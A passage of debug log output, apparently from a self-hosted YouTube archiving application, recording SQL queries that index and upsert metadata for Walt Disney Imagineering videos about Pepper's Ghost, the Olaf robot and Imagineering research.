"https://www.youtube.com/watch?v=m80WI0AK0P0", false, false, 9, "/downloads/Walt Disney Imagineering/2025-12-08 Pepper's Ghost from Haunted Mansion to Test Track | Great Moments in Imagineering/Pepper's Ghost from Haunted Mansion to Test Track | Great Moments in Imagineering [m80WI0AK0P0].NA", false, false, 2, [], 98, ~U[2025-12-08 00:00:00Z], ~U[2026-03-29 22:55:00Z], ~U[2026-03-29 22:55:00Z], "Discover the magic behind Pepper’s Ghost! This classic illusion has amazed guests for decades in Disney attractions like The Haunted Mansion and Tower of Terror. Learn how this effect was first introduced and how Walt Disney Imagineering has continued to innovate and expand its use over the years.\n\n✨ What makes this special?\n• Disney has been utilizing Pepper's Ghost for years in their attractions\n• The Pepper's Ghost effect has evolved to include video effects\n• Disney continues to push boundaries and innovate new ways to use the stage magic\n\n🎥 Watch the Magic Unfold\nJoin us for Great Moments in Imagineering & Disney Live Entertainment, a behind-the-scenes series that celebrates the creativity, innovation, and storytelling that define Walt Disney Imagineering. Discover the magic that brings Disney parks, resorts, attractions, and cruise ships to life!\n\n🔍 Explore More Episodes\n✨ Hong Kong Disneyland 20th Anniversary Projections → \u00A0\u00A0\u00A0•\u00A0Hong\u00A0Kong\u00A0Disneyland\u00A020th\u00A0Anniversary\u00A0New\u00A0...\u00A0\u00A0\n⚡ Meet the Titans from the Disney Destiny Hercules Show → \u00A0\u00A0\u00A0•\u00A0Meet\u00A0The\u00A0Titans\u00A0from\u00A0the\u00A0Disney\u00A0Destiny\u00A0He...\u00A0\u00A0\n🌸 30 Years of EPCOT International Flower & Garden Festival Innovation → \u00A0\u00A0\u00A0•\u00A030\u00A0Years\u00A0of\u00A0EPCOT\u00A0International\u00A0Flower\u00A0&\u00A0G...\u00A0\u00A0\n👻 The Ichabod Crane Storytelling Window → \u00A0\u00A0\u00A0•\u00A0The\u00A0Ichabod\u00A0Crane\u00A0Storytelling\u00A0Window\u00A0|\u00A0Gr...\u00A0\u00A0\n\nFollow Walt Disney Imagineering\n📸 Instagram → \u00A0\u00A0/\u00A0waltdisneyimagineering\u00A0\u00A0\n💼 LinkedIn → \u00A0\u00A0/\u00A0walt-disney-imagineering\u00A0\u00A0\n🔔 Don’t forget to subscribe and turn on notifications for more Imagineering stories! → \u00A0\u00A0\u00A0/\u00A0@waltdisneyimagineering\u00A0\u00A0\n\nFollow Disney Live Entertainment\n📸 Instagram → \u00A0\u00A0/\u00A0disneyliveentertainment\u00A0\u00A0\n💼 LinkedIn → \u00A0\u00A0/\u00A0disney-live-entertainment\u00A0\u00A0\n\n🌐 Learn More About WDI\nWalt Disney Imagineering is the creative powerhouse behind the magic of Disney’s global destinations. From concept to creation, our Imagineers blend storytelling, art, science, and technology to craft unforgettable experiences for families around the world. Find out more → https://sites.disney.com/waltdisneyim...\n\n💬 Drop a 👻 in the comments if you made it this far — and let us know your favorite use of Pepper's Ghost in the parks!\n\n#WaltDisneyImagineering #HauntedMansion #TowerofTerror", "Pepper's Ghost from Haunted Mansion to Test Track | Great Moments in Imagineering", "m80WI0AK0P0", "https://www.youtube.com/watch?v=m80WI0AK0P0", nil, false, "/downloads/Walt Disney Imagineering/2025-12-08 Pepper's Ghost from Haunted Mansion to Test Track | Great Moments in Imagineering/Pepper's Ghost from Haunted Mansion to Test Track | Great Moments in Imagineering [m80WI0AK0P0].NA", false, 2, ~U[2025-12-08 00:00:00Z]] 18:55:00.605 [debug] QUERY OK source="sources" db=0.1ms idle=3.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 18:55:00.606 [debug] QUERY OK source="media_profiles" db=0.1ms idle=3.4ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 18:55:00.606 [debug] QUERY OK source="media_items" db=0.2ms idle=3.5ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [4458] 18:55:00.606 [debug] Current batch of media processed. Will check again in 1000ms 18:55:00.656 [info] {"source":"oban","duration":218,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 18:55:01.607 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "Walt Disney Imagineering Research & Development is bringing a beloved character to World of Frozen in Disneyland Paris and Hong Kong Disneyland. Olaf is a self-roaming character that will continue to push innovation and immersion within Disney Experiences.\n\n🎥 Watch the full episode of We Call It Imagineering inside Research & Development to see more innovations at Walt Disney Imagineering → \u00A0\u00A0\u00A0•\u00A0Real-Life\u00A0Olaf\u00A0Robot\u00A0&\u00A0Inside\u00A0Imagineering...\u00A0\u00A0\n\n📖 Read More on Disney Parks Blog → https://disneyparksblog.com/disney-ex...\n \n🎥 About the Series\nCome along as we take you on an inside look at Walt Disney Imagineering. Inspired by how Walt took us along during the development of Disneyland, this new series brings you into the creative and design journey as Disney Imagineers create new, innovative experiences for guests to enjoy at Disney Parks around the world!\n\n🔍 Explore More Episodes\n👻 Foolish Mortals → \u00A0\u00A0\u00A0•\u00A0We\u00A0Call\u00A0It\u00A0Imagineering\u00A0|\u00A0Haunted\u00A0Mansion,...\u00A0\u00A0\n🏰 Building Castles → \u00A0\u00A0\u00A0•\u00A0We\u00A0Call\u00A0It\u00A0Imagineering\u00A0|\u00A0Building\u00A0Castles\u00A0\u00A0\n🎤 On With The Show! → \u00A0\u00A0\u00A0•\u00A0We\u00A0Call\u00A0It\u00A0Imagineering\u00A0|\u00A0On\u00A0With\u00A0The\u00A0Show...\u00A0\u00A0\n🎢 Let's Ride → \u00A0\u00A0\u00A0•\u00A0We\u00A0Call\u00A0It\u00A0Imagineering\u00A0|\u00A0Let's\u00A0Ride\u00A0\u00A0\n🎶 Soundscapes → \u00A0\u00A0\u00A0•\u00A0We\u00A0Call\u00A0It\u00A0Imagineering\u00A0|\u00A0Soundscapes\u00A0\u00A0\n🦾 Audio-Animatronics® → \u00A0\u00A0\u00A0•\u00A0We\u00A0Call\u00A0It\u00A0Imagineering\u00A0|\u00A0Audio-Animatronics®\u00A0\u00A0\n\nFollow Walt Disney Imagineering\n📸 Instagram → \u00A0\u00A0/\u00A0waltdisneyimagineering\u00A0\u00A0\n💼 LinkedIn → \u00A0\u00A0/\u00A0walt-disney-imagineering\u00A0\u00A0\n🔔 Don’t forget to subscribe and turn on notifications for more Imagineering stories! → \u00A0\u00A0\u00A0/\u00A0@waltdisneyimagineering\u00A0\u00A0\n\nFollow Disney Live Entertainment\n📸 Instagram → \u00A0\u00A0/\u00A0disneyliveentertainment\u00A0\u00A0\n💼 LinkedIn → \u00A0\u00A0/\u00A0disney-live-entertainment\u00A0\u00A0\n\n🌐 Learn More About WDI\nWalt Disney Imagineering is the creative powerhouse behind the magic of Disney’s global destinations. From concept to creation, our Imagineers blend storytelling, art, science, and technology to craft unforgettable experiences for families around the world. Find out more → https://sites.disney.com/waltdisneyim...\n\n💬 Drop a ⛄️ in the comments if you can't wait to meet Olaf!", "filename" => "/downloads/Walt Disney Imagineering/2025-12-02 Disney's Olaf Self-Roaming Robot Comes to Life World of Frozen/Disney's Olaf Self-Roaming Robot Comes to Life World of Frozen [dbjm02cvdiQ].NA", "id" => "dbjm02cvdiQ", "original_url" => "https://www.youtube.com/watch?v=dbjm02cvdiQ", "playlist_index" => 10, "title" => "Disney's Olaf Self-Roaming Robot Comes to Life World of Frozen", "upload_date" => "20251202"} 18:55:01.608 [debug] QUERY OK source="sources" db=0.2ms idle=1002.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [2] 18:55:01.608 [debug] QUERY OK source="sources" db=0.1ms idle=1002.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 18:55:01.609 [debug] QUERY OK source="media_items" db=0.5ms idle=1002.3ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-12-02 00:00:00Z], 2] 18:55:01.611 [debug] QUERY OK source="media_items" db=1.7ms idle=952.9ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","original_url","prevent_download","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Walt Disney Imagineering Research & Development is bringing a beloved character to World of Frozen in Disneyland Paris and Hong Kong Disneyland. Olaf is a self-roaming character that will continue to push innovation and immersion within Disney Experiences.\n\n🎥 Watch the full episode of We Call It Imagineering inside Research & Development to see more innovations at Walt Disney Imagineering → \u00A0\u00A0\u00A0•\u00A0Real-Life\u00A0Olaf\u00A0Robot\u00A0&\u00A0Inside\u00A0Imagineering...\u00A0\u00A0\n\n📖 Read More on Disney Parks Blog → https://disneyparksblog.com/disney-ex...\n \n🎥 About the Series\nCome along as we take you on an inside look at Walt Disney Imagineering. Inspired by how Walt took us along during the development of Disneyland, this new series brings you into the creative and design journey as Disney Imagineers create new, innovative experiences for guests to enjoy at Disney Parks around the world!\n\n🔍 Explore More Episodes\n👻 Foolish Mortals → \u00A0\u00A0\u00A0•\u00A0We\u00A0Call\u00A0It\u00A0Imagineering\u00A0|\u00A0Haunted\u00A0Mansion,...\u00A0\u00A0\n🏰 Building Castles → \u00A0\u00A0\u00A0•\u00A0We\u00A0Call\u00A0It\u00A0Imagineering\u00A0|\u00A0Building\u00A0Castles\u00A0\u00A0\n🎤 On With The Show! → \u00A0\u00A0\u00A0•\u00A0We\u00A0Call\u00A0It\u00A0Imagineering\u00A0|\u00A0On\u00A0With\u00A0The\u00A0Show...\u00A0\u00A0\n🎢 Let's Ride → \u00A0\u00A0\u00A0•\u00A0We\u00A0Call\u00A0It\u00A0Imagineering\u00A0|\u00A0Let's\u00A0Ride\u00A0\u00A0\n🎶 Soundscapes → \u00A0\u00A0\u00A0•\u00A0We\u00A0Call\u00A0It\u00A0Imagineering\u00A0|\u00A0Soundscapes\u00A0\u00A0\n🦾 Audio-Animatronics® → \u00A0\u00A0\u00A0•\u00A0We\u00A0Call\u00A0It\u00A0Imagineering\u00A0|\u00A0Audio-Animatronics®\u00A0\u00A0\n\nFollow Walt Disney Imagineering\n📸 Instagram → \u00A0\u00A0/\u00A0waltdisneyimagineering\u00A0\u00A0\n💼 LinkedIn → \u00A0\u00A0/\u00A0walt-disney-imagineering\u00A0\u00A0\n🔔 Don’t forget to subscribe and turn on notifications for more Imagineering stories! → \u00A0\u00A0\u00A0/\u00A0@waltdisneyimagineering\u00A0\u00A0\n\nFollow Disney Live Entertainment\n📸 Instagram → \u00A0\u00A0/\u00A0disneyliveentertainment\u00A0\u00A0\n💼 LinkedIn → \u00A0\u00A0/\u00A0disney-live-entertainment\u00A0\u00A0\n\n🌐 Learn More About WDI\nWalt Disney Imagineering is the creative powerhouse behind the magic of Disney’s global destinations. From concept to creation, our Imagineers blend storytelling, art, science, and technology to craft unforgettable experiences for families around the world. Find out more → https://sites.disney.com/waltdisneyim...\n\n💬 Drop a ⛄️ in the comments if you can't wait to meet Olaf!", "Disney's Olaf Self-Roaming Robot Comes to Life World of Frozen", "020acfb8-8e5e-4ef9-ad51-65abf0964a8f", "dbjm02cvdiQ", "https://www.youtube.com/watch?v=dbjm02cvdiQ", false, false, 10, "/downloads/Walt Disney Imagineering/2025-12-02 Disney's Olaf Self-Roaming Robot Comes to Life World of Frozen/Disney's Olaf Self-Roaming Robot Comes to Life World of Frozen [dbjm02cvdiQ].NA", false, false, 2, [], 98, ~U[2025-12-02 00:00:00Z], ~U[2026-03-29 22:55:01Z], ~U[2026-03-29 22:55:01Z], "Walt Disney Imagineering Research & Development is bringing a beloved character to World of Frozen in Disneyland Paris and Hong Kong Disneyland. Olaf is a self-roaming character that will continue to push innovation and immersion within Disney Experiences.\n\n🎥 Watch the full episode of We Call It Imagineering inside Research & Development to see more innovations at Walt Disney Imagineering → \u00A0\u00A0\u00A0•\u00A0Real-Life\u00A0Olaf\u00A0Robot\u00A0&\u00A0Inside\u00A0Imagineering...\u00A0\u00A0\n\n📖 Read More on Disney Parks Blog → https://disneyparksblog.com/disney-ex...\n \n🎥 About the Series\nCome along as we take you on an inside look at Walt Disney Imagineering. Inspired by how Walt took us along during the development of Disneyland, this new series brings you into the creative and design journey as Disney Imagineers create new, innovative experiences for guests to enjoy at Disney Parks around the world!\n\n🔍 Explore More Episodes\n👻 Foolish Mortals → \u00A0\u00A0\u00A0•\u00A0We\u00A0Call\u00A0It\u00A0Imagineering\u00A0|\u00A0Haunted\u00A0Mansion,...\u00A0\u00A0\n🏰 Building Castles → \u00A0\u00A0\u00A0•\u00A0We\u00A0Call\u00A0It\u00A0Imagineering\u00A0|\u00A0Building\u00A0Castles\u00A0\u00A0\n🎤 On With The Show! → \u00A0\u00A0\u00A0•\u00A0We\u00A0Call\u00A0It\u00A0Imagineering\u00A0|\u00A0On\u00A0With\u00A0The\u00A0Show...\u00A0\u00A0\n🎢 Let's Ride → \u00A0\u00A0\u00A0•\u00A0We\u00A0Call\u00A0It\u00A0Imagineering\u00A0|\u00A0Let's\u00A0Ride\u00A0\u00A0\n🎶 Soundscapes → \u00A0\u00A0\u00A0•\u00A0We\u00A0Call\u00A0It\u00A0Imagineering\u00A0|\u00A0Soundscapes\u00A0\u00A0\n🦾 Audio-Animatronics® → \u00A0\u00A0\u00A0•\u00A0We\u00A0Call\u00A0It\u00A0Imagineering\u00A0|\u00A0Audio-Animatronics®\u00A0\u00A0\n\nFollow Walt Disney Imagineering\n📸 Instagram → \u00A0\u00A0/\u00A0waltdisneyimagineering\u00A0\u00A0\n💼 LinkedIn → \u00A0\u00A0/\u00A0walt-disney-imagineering\u00A0\u00A0\n🔔 Don’t forget to subscribe and turn on notifications for more Imagineering stories! → \u00A0\u00A0\u00A0/\u00A0@waltdisneyimagineering\u00A0\u00A0\n\nFollow Disney Live Entertainment\n📸 Instagram → \u00A0\u00A0/\u00A0disneyliveentertainment\u00A0\u00A0\n💼 LinkedIn → \u00A0\u00A0/\u00A0disney-live-entertainment\u00A0\u00A0\n\n🌐 Learn More About WDI\nWalt Disney Imagineering is the creative powerhouse behind the magic of Disney’s global destinations. From concept to creation, our Imagineers blend storytelling, art, science, and technology to craft unforgettable experiences for families around the world. Find out more → https://sites.disney.com/waltdisneyim...\n\n💬 Drop a ⛄️ in the comments if you can't wait to meet Olaf!", "Disney's Olaf Self-Roaming Robot Comes to Life World of Frozen", "dbjm02cvdiQ", "https://www.youtube.com/watch?v=dbjm02cvdiQ", nil, false, "/downloads/Walt Disney Imagineering/2025-12-02 Disney's Olaf Self-Roaming Robot Comes to Life World of Frozen/Disney's Olaf Self-Roaming Robot Comes to Life World of Frozen [dbjm02cvdiQ].NA", false, 2, ~U[2025-12-02 00:00:00Z]] 18:55:01.612 [debug] QUERY OK source="sources" db=0.2ms idle=77.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 18:55:01.612 [debug] QUERY OK source="media_profiles" db=0.1ms idle=4.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 18:55:01.612 [debug] QUERY OK source="media_items" db=0.2ms idle=4.0ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [3978] 18:55:01.613 [debug] Current batch of media processed. Will check again in 1000ms 18:55:02.613 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "Step behind the scenes with Walt Disney Imagineering Research & Development and discover how Disney uses robotics, AI, and immersive technology to bring stories to life! From the brand new self-walking Olaf in World of Frozen and BDX Droids to cutting-edge attractions like Millennium Falcon: Smugglers Run, see how magic meets innovation.\n\nDisney Research continues to push boundaries through partnerships with tech leaders like NVIDIA, Epic Games, and Meta. This video highlights our collaboration with Meta using their Wearables Device Access Toolkit and AI glasses to unlock a world of innovation and storytelling for Disney guests and Imagineers.\n \n🔑 Key Takeaways\n→ Brand new self-walking Olaf coming to World of Frozen in Disney Parks\n→ Why partnerships with NVIDIA, Epic Games, and Meta power next-gen experiences\n→ We're not just using technology for technology's sake\n→ If we're doing our jobs properly, all of the technology goes away and our guests get immersed in the story that we're trying to tell\n→ Failure is embraced as part of pushing boundaries\n\n📋 Chapters\nLook Inside Disney Research Zurich: 1:24 \nOlaf Reveal: 2:27 \nRobotics Development Progression: 6:08\nNVIDIA Conversation: 10:14 \nMillennium Falcon Updates: 12:16\nH.E.R.B.I.E.: 14:47\nBDX Droids: 17:25\nJ.A.R.V.I.S.: 21:09\nStuntronics: 21:57\nLucky the Dinosaur History: 23:41\nNext-Generation Audio-Animatronics® Technology: 26:07\nAquatic Robots: 27:33\nMeta Glasses: 29:40\n\n📖 Read More on Disney Parks Blog → https://disneyparksblog.com/disney-ex...\n \n🎥 About the Series\nCome along as we take you on an inside look at Walt Disney Imagineering. Inspired by how Walt took us along during the development of Disneyland, this new series brings you into the creative and design journey as Disney Imagineers create new, innovative experiences for guests to enjoy at Disney Parks around the world!\n\n🔍 Explore More Episodes\n👻 Foolish Mortals → \u00A0\u00A0\u00A0•\u00A0We\u00A0Call\u00A0It\u00A0Imagineering\u00A0|\u00A0Haunted\u00A0Mansion,...\u00A0\u00A0\n🏰 Building Castles → \u00A0\u00A0\u00A0•\u00A0We\u00A0Call\u00A0It\u00A0Imagineering\u00A0|\u00A0Building\u00A0Castles\u00A0\u00A0\n🎤 On With The Show! → \u00A0\u00A0\u00A0•\u00A0We\u00A0Call\u00A0It\u00A0Imagineering\u00A0|\u00A0On\u00A0With\u00A0The\u00A0Show...\u00A0\u00A0\n🎢 Let's Ride → \u00A0\u00A0\u00A0•\u00A0We\u00A0Call\u00A0It\u00A0Imagineering\u00A0|\u00A0Let's\u00A0Ride\u00A0\u00A0\n🎶 Soundscapes → \u00A0\u00A0\u00A0•\u00A0We\u00A0Call\u00A0It\u00A0Imagineering\u00A0|\u00A0Soundscapes\u00A0\u00A0\n🦾 Audio-Animatronics® → \u00A0\u00A0\u00A0•\u00A0We\u00A0Call\u00A0It\u00A0Imagineering\u00A0|\u00A0Audio-Animatronics®\u00A0\u00A0\n\nFollow Walt Disney Imagineering\n📸 Instagram → \u00A0\u00A0/\u00A0waltdisneyimagineering\u00A0\u00A0\n💼 LinkedIn → \u00A0\u00A0/\u00A0walt-disney-imagineering\u00A0\u00A0\n🔔 Don’t forget to subscribe and turn on notifications for more Imagineering stories! → \u00A0\u00A0\u00A0/\u00A0@waltdisneyimagineering\u00A0\u00A0\n\nFollow Disney Live Entertainment\n📸 Instagram → \u00A0\u00A0/\u00A0disneyliveentertainment\u00A0\u00A0\n💼 LinkedIn → \u00A0\u00A0/\u00A0disney-live-entertainment\u00A0\u00A0\n\n🌐 Learn More About WDI\nWalt Disney Imagineering is the creative powerhouse behind the magic of Disney’s global destinations. From concept to creation, our Imagineers blend storytelling, art, science, and technology to craft unforgettable experiences for families around the world. Find out more → https://sites.disney.com/waltdisneyim...\n\n💬 Drop a ⛄️ in the comments if you can't wait to meet Olaf!", "filename" => "/downloads/Walt Disney Imagineering/2025-11-24 Real-Life Olaf Robot & Inside Imagineering's Research & Development | We Call It Imagineering/Real-Life Olaf Robot & Inside Imagineering's Research & Development | We Call It Imagineering [EoPN02bmzrE].NA", "id" => "EoPN02bmzrE", "original_url" => "https://www.youtube.com/watch?v=EoPN02bmzrE", "playlist_index" => 11, "title" => "Real-Life Olaf Robot & Inside Imagineering's Research & Development | We Call It Imagineering", "upload_date" => "20251124"} 18:55:02.614 [debug] QUERY OK source="sources" db=0.2ms idle=1002.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [2] 18:55:02.614 [debug] QUERY OK source="sources" db=0.1ms idle=1002.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 18:55:02.615 [debug] QUERY OK source="media_items" db=0.5ms idle=1002.4ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-11-24 00:00:00Z], 2] 18:55:02.618 [debug] QUERY OK source="media_items" db=2.0ms idle=1002.8ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","original_url","prevent_download","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Step behind the scenes with Walt Disney Imagineering Research & Development and discover how Disney uses robotics, AI, and immersive technology to bring stories to life! From the brand new self-walking Olaf in World of Frozen and BDX Droids to cutting-edge attractions like Millennium Falcon: Smugglers Run, see how magic meets innovation.\n\nDisney Research continues to push boundaries through partnerships with tech leaders like NVIDIA, Epic Games, and Meta. This video highlights our collaboration with Meta using their Wearables Device Access Toolkit and AI glasses to unlock a world of innovation and storytelling for Disney guests and Imagineers.\n \n🔑 Key Takeaways\n→ Brand new self-walking Olaf coming to World of Frozen in Disney Parks\n→ Why partnerships with NVIDIA, Epic Games, and Meta power next-gen experiences\n→ We're not just using technology for technology's sake\n→ If we're doing our jobs properly, all of the technology goes away and our guests get immersed in the story that we're trying to tell\n→ Failure is embraced as part of pushing boundaries\n\n📋 Chapters\nLook Inside Disney Research Zurich: 1:24 \nOlaf Reveal: 2:27 \nRobotics Development Progression: 6:08\nNVIDIA Conversation: 10:14 \nMillennium Falcon Updates: 12:16\nH.E.R.B.I.E.: 14:47\nBDX Droids: 17:25\nJ.A.R.V.I.S.: 21:09\nStuntronics: 21:57\nLucky the Dinosaur History: 23:41\nNext-Generation Audio-Animatronics® Technology: 26:07\nAquatic Robots: 27:33\nMeta Glasses: 29:40\n\n📖 Read More on Disney Parks Blog → https://disneyparksblog.com/disney-ex...\n \n🎥 About the Series\nCome along as we take you on an inside look at Walt Disney Imagineering. Inspired by how Walt took us along during the development of Disneyland, this new series brings you into the creative and design journey as Disney Imagineers create new, innovative experiences for guests to enjoy at Disney Parks around the world!\n\n🔍 Explore More Episodes\n👻 Foolish Mortals → \u00A0\u00A0\u00A0•\u00A0We\u00A0Call\u00A0It\u00A0Imagineering\u00A0|\u00A0Haunted\u00A0Mansion,...\u00A0\u00A0\n🏰 Building Castles → \u00A0\u00A0\u00A0•\u00A0We\u00A0Call\u00A0It\u00A0Imagineering\u00A0|\u00A0Building\u00A0Castles\u00A0\u00A0\n🎤 On With The Show! → \u00A0\u00A0\u00A0•\u00A0We\u00A0Call\u00A0It\u00A0Imagineering\u00A0|\u00A0On\u00A0With\u00A0The\u00A0Show...\u00A0\u00A0\n🎢 Let's Ride → \u00A0\u00A0\u00A0•\u00A0We\u00A0Call\u00A0It\u00A0Imagineering\u00A0|\u00A0Let's\u00A0Ride\u00A0\u00A0\n🎶 Soundscapes → \u00A0\u00A0\u00A0•\u00A0We\u00A0Call\u00A0It\u00A0Imagineering\u00A0|\u00A0Soundscapes\u00A0\u00A0\n🦾 